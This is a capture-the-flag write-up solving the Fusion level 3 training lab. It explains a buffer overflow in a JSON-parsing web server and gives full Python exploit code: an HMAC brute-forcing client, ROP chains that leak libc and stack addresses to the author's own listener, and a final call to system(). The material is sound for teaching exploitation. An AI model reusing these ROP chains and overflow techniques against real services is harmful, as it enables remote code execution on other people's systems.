Hello boyz and girlz. Today I will solve fusion 3. But I must go play Sattelers of Catan with friends later so let’s make it quick 😀
There is an old saying that goes something like: “Fast is slow, slow is fast, do it once and do it right.” So we will try to work in baby steps in order to finish this post and exploit fast… btw remember it next time you play an escape room.
First thing we do is go and read the code of Fusion-3. Take as much time as we need to understand what it should do..
Here is what I understood:
- It is some kind of web server.
- It allows us to post articles after authentication.
- Every connection is forked and therefore has the same address space of the parent process. Which means infinite number of times we can crash the program in our solution.
Game plan:
- Read the code and find the vulnerability.
- Write a working client for this server.
- Find the address of libc
Use the legitimate code flow to store a string in one of the 2 globals that can store strings (gContents or gTitle)*- Call system on this string
- Win this game of Catan with friends
* I read the code again and we can’t do it. These globals are just pointers, the actual strings will be malloced I would have to deference them to make it work. Let’s find libc and then decide how to continue
Crashing the program
To find the vulnerability I search for ‘[‘ in the code, because I am looking for arrays. Specifically looking for bugs in handling of arrays. Pretty fast I understand that the arrays I can work with are either title or content in the function handle_request, and that the bug must be in decode string.
If you look carefully at the loop in the function. If somehow we manage to increase dest so that dest > end when the condition is tested we get can overflow the buffer and stop at /0. I bealive that we found an overflow. But we will have to test it.

Our next job is to write a working client…
Because the program do not print it’s errors, I connect with ssh to the VM that runs the machine, and using gdb I place a breakpoint on the function errx, every time my client fails I try to understand why.
Basically we need to send a request that looks like this:
// TOKEN { json }
But the request must also match a certain hash function. The first 2 bytes of the hmac-sha1 hash of the entire request must be 0. I do it by adding a comment at the end of the request and brute forcing values. I work on my client until I get the error message “Unable to parse request”, fair error for a request of “a”* 128 :D. Anyway it means that my request passed the hash test. Which is what I was going for. I change the json body to something that should trigger the function decode_string, make sure it triggers decode_string with a debugger. and then save it up as a working client.
#! /usr/bin/env python import socket from hashlib import sha1 from string import ascii_letters import hmac import random PORT = 20003 HOST = "VM" def create_a_session(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) # The token is sent to us with \" before and after token = s.recv(1000)[1:-2] return s, token def find_working_placeholder_for_mac(token, request): request = request + "\n //" expected_len = len(request) + 6 # WTF?!? what kind of stupid bug is this? # request must be in even length if (expected_len % 2) != 0: request += " " while True: word = ''.join(random.sample(ascii_letters, 6)) new_request = "%s%s" % (request, word) hashed = hmac.new(token, new_request, sha1) hex_digest = hashed.hexdigest() if(hex_digest.startswith("0" * 4)): print "found a placeholder for the digest, len = %x token_len = %x" %(len(new_request), len(token)) return new_request def send_a_request(s, token, json): request = "{token} \n {json}".format(token = token, json = json) new_request = find_working_placeholder_for_mac(token, request) s.send(new_request) def main(): s, token = create_a_session() send_a_request(s, token, "{\"title\" : \"Rick and Morty\"}") print s.recv(1000) if __name__ == "__main__": main()
I write the code to overflow the buffer in decode_string. I chose the title buffer because it’s the first variable in the function which means It should be closest to the return address of the function. I had some small bugs in my code my code is perfect on the first try!
I get to this point:
(gdb) info registers eax 0xffffffff -1 ecx 0xb75a2398 -1218829416 edx 0xffffffff -1 ebx 0x62626262 1650614882 esp 0xbff2fc70 0xbff2fc70 ebp 0x62626262 0x62626262 esi 0x62626262 1650614882 edi 0x62626262 1650614882 eip 0x62626262 0x62626262 eflags 0x10286 [ PF SF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51
As you can see I control most registers. I save the client script and start working on the exploit itself 🙂
def build_json_tag(tag, value): return "\"{}\" : \"{}\"".format(tag, value) def build_overflowed_title(payload): data = "a" * 127 # The 128th byte is not an overflowed byte yet. # The 16 bytes are local vars and stuff that dosn't matter. # They are being written before being read. payload = "\x00" + "a" * 16 + payload for i in xrange(len(payload)/2): byte1 = ord(payload[i * 2]) byte2 = ord(payload[i * 2 + 1]) data += "\\\\u%.4x" %(byte1 * 0x100 + byte2, ) # adding bytes with /u adds 2 bytes at a time. if (len(payload) % 2 == 1) and ord(payload[-1]) == 0: raise "last byte of even length payload must not be zero" if (len(payload) % 2 == 1): data += payload[-1] if "\x00" in data: raise "bug in code, \x00 should be encoded by now." return build_json_tag("title", data) def main(): s, token = create_a_session() # order of registers we control: ebx, esi, edi, ebp, eip json = "{%s}" % (build_overflowed_title("b" * 20), ) send_a_request(s, token, json)
leaking the info
Now we need to figure out what can we do with it… excuse me. I meant to say: Now we need to figure out how do we find libc with what we have. On a personal note, this is the part I like the most in this kind of work. Because it is like solving a giant complicated Sudoku puzzle.
Well the trick with printing stuff we did in fusion 2 will not work here. The reason it won’t work is that the program closed stdin, stdout and stderror. So we will not get any output from printing them.
What can we do? We can use any function in the import table of the main binary. And we can use any function inside the binary (Because this is not compiled as Position Independent code), the load address of the binary is static. And we can use any constant we need as a function argument.
This is pretty much all of the external functions we can use. Take your time and try to think if you know how can we get the address of libc.
After thinking about it I figured out we can build an absolute read primitive from what we have by doing this:
- Pass serverip as our ip address,
- Pass a contents with whatever length we want to read. Just to set gContents_len with the length of the data we want to read.
- Rop into memcpy(gContents, address_to_read, 4) and then post_blog_article. This will cause the program to copy from whatever address we want into the global gContent, and then read from this address and send it to our IP address in HTTP format! We will read the address of a function in .got.plt and will calculate the offset of libc.
I code this up and it works! Now we have the address of libc and we can read any address we would like in the program’s address space. Just needs to find the address of a buffer we control
def get_local_ip(): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect(("VM", 0)) # connecting to a UDP address doesn't send packets return s.getsockname()[0] def recive_data_on_tcp_port(port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(("", port)) s.listen(1) conn, address = s.accept() data = conn.recv(1024) conn.close() s.close() return data def ropchain_to_payload(rop_chain): payload = "" for number in rop_chain: payload += struct.pack("I", number) return payload def memory_read(address, length): s, token = create_a_session() # order of registers we control: ebx, esi, edi, ebp, eip payload = "b" * 16 rop_chain = [ 0x8048e60, #memcpy 0x8049205, #3 pops and return(return address for memcpy) 0x804bdf4, #gContent (1st param for memcpy) address , #dest for memcpy 0x0000004, #length for memcpy 0x8049f20, #post_blog_artical(second function call) 0x8048f80, # exit (third function call) ] payload += ropchain_to_payload(rop_chain) title = build_overflowed_title(payload) ip = build_json_tag("serverip", get_local_ip() + ":1337") contents = build_json_tag("contents", "a" * length) json = "{%s, %s, %s}" % (ip, contents, title) send_a_request(s, token, json) s.close() # the line of contents is line number 6. response = recive_data_on_tcp_port(1337).splitlines()[6] return response def get_libc_address(): # address of open in .got.plt address_of_open = struct.unpack("I", memory_read(0x8048c32, 4))[0] return address_of_open - 0xc0b60 def main(): libc_address = get_libc_address() print "address of libc is : ", hex(libc_address) print hex(struct.unpack("I", memory_read(0x804be04, 4))[0])
Hammm now that I can memory read whatever I want*, we need to figure out how to use it to get the address of a buffer we can control. Well I can do the rop-exploition-with-adddress-of-libc-only. But I am keeping this ace for some later exercise in this series. And besides, I am feeling adventurous.
* If you think about it, we don’t exactly have the ability to read wherever we want yet, we have a memory read primitive that recives a pointer to a pointer to the data we want to read, (instead of a pointer to that data). Which is not ideal. But for now it will do because we know a place which has a pointer to a pointer to imported functions and we can find libc with it..
Some more primitives in libc
My first thought was I must be able to somehow read the address of a heap data structure to predict the next(actually previous) heap allocation – This program relies heavily on heap allocations and I am sure I can find one of my buffers on the heap. The problem with it is that my memory read requires 2 level of pointing, kind of like calling printf(“%x”, *pointer_to_pointer_to_data). Which is kind of lame… I Couldn’t find this pointer to pointer to my address I was looking for. And besides, I want to practice my ropping skills..
After running ropgadget on libc I found the following 3 gadgets (short sequence of opcodes):
1: Push $esp Jmp $esi 2: Pop $ecx Pop $edx Ret 3: Xchg [$edx], $ecx Ret
We will run them in the order they are written in. But let’s consider them backwards to understand what they are doing.
Number 3, allows us to write whatever we want wherever we want, (As long as we control $edx and $ecx).
Number 2, lets us control $edx and $ecx. We can write whatever we want where ever we want (yay!).
Number 1, allows us to use the stack pointer as a part of our rop by pushing it and jumping to an address (as opposed to pushing it and returning into it.)
This allows me to write the address of $esp into anywhere I want. What If I will write it into gContents? When the program will try to print gContents it will print the contents of the stack instead!
I wrote it and it works. After getting the address of the stack, by reading the stack and searching for a pointer to a stack variable on it, I found one with constant distance from a buffer on the stack I control, (char title[128]). Wrote the simple POC exploit we all love: return into system(“touch /tmp/a”)
def get_stack_address(libc_address): s, token = create_a_session() # order of registers we control: ebx, esi, edi, ebp, eip esi = struct.pack("I", libc_address + 0x0002da2b) payload = "b" * 4 + esi +"c" * 8 rop_chain = [ libc_address + 0x0015ffc9, # after the first gadget, esp will be there. 0x804bdf4, # gContents libc_address + 0x001633a0, 0x8049f20, ] payload += ropchain_to_payload(rop_chain) title = build_overflowed_title(payload) ip = build_json_tag("serverip", get_local_ip() + ":1337") contents = build_json_tag("contents", "a" * 300) json = "{%s, %s, %s}" % (ip, contents, title) send_a_request(s, token, json) s.close() # the line of contents is line number 6. response = recive_data_on_tcp_port(1337).splitlines()[6] address_on_stack = struct.unpack("I", response[20:24])[0] # This stack address we find is exectly 204 bytes away from the address of # title. return address_on_stack - 204 def exploit(libc_address, address_of_title): s, token = create_a_session() # order of registers we control: ebx, esi, edi, ebp, eip payload = "b" * 16 rop_chain = [ libc_address + 0x3cb20, #adddres of system libc_address + 0x329e0, #adddres of exit, return address for printf address_of_title # buffer for system ] payload += ropchain_to_payload(rop_chain) title = build_overflowed_title(payload, "touch /tmp/a; ") ip = build_json_tag("serverip", get_local_ip() + ":1337") contents = build_json_tag("contents", "a" * 300) json = "{%s, %s, %s}" % (ip, contents, title) send_a_request(s, token, json) s.close() def main(): libc_address = get_libc_address() print "address of libc is : ", hex(libc_address) address_of_title = get_stack_address(libc_address) exploit(libc_address, address_of_title)
